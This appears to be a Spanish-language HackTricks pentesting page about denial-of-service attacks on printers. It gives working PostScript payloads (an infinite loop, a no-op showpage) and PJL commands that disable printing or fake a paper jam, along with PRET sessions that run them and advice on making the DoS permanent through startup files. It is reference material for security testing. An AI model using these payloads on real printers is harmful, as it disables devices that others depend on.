hacktricks/network-services-pentesting/pentesting-printers/document-processing.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

4.3 KiB

Lenguajes de descripción de página que permiten bucles infinitos o cálculos que requieren mucho tiempo de computación. Incluso lenguajes minimalistas como PCL se pueden utilizar para cargar macros o fuentes permanentes hasta que se consume la memoria disponible.

PostScript

Bucles infinitos

%!
{} loop

Usando PRET:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

Redefinir showpage

Al establecer showpage - que se utiliza en cada documento para imprimir la página - para que no haga nada en absoluto, los trabajos de PostScript se procesan pero no se imprime nada.

true 0 startjob
/showpage {} def

Usando PRET:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality

Ambos códigos de ataque también pueden ser escritos en archivos Sys/Start, startup.ps o similares para causar una DoS permanente en dispositivos con un disco grabable.

PJL

PJL jobmedia

Los comandos PJL propietarios pueden ser utilizados para poner en modo de servicio a dispositivos antiguos de HP como la serie LaserJet 4k y deshabilitar completamente toda la funcionalidad de impresión como se muestra a continuación:

@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF

Usando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF

Modo offline

Además, el estándar PJL define el comando OPMSG que "solicita a la impresora que muestre un mensaje especificado y se desconecte" \cite{hp1997pjl}. Esto se puede utilizar para simular un atasco de papel como se muestra a continuación:

@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"

Usando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

Obtén más información sobre estos ataques en http://hacking-printers.net/wiki/index.php/Document_processing

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥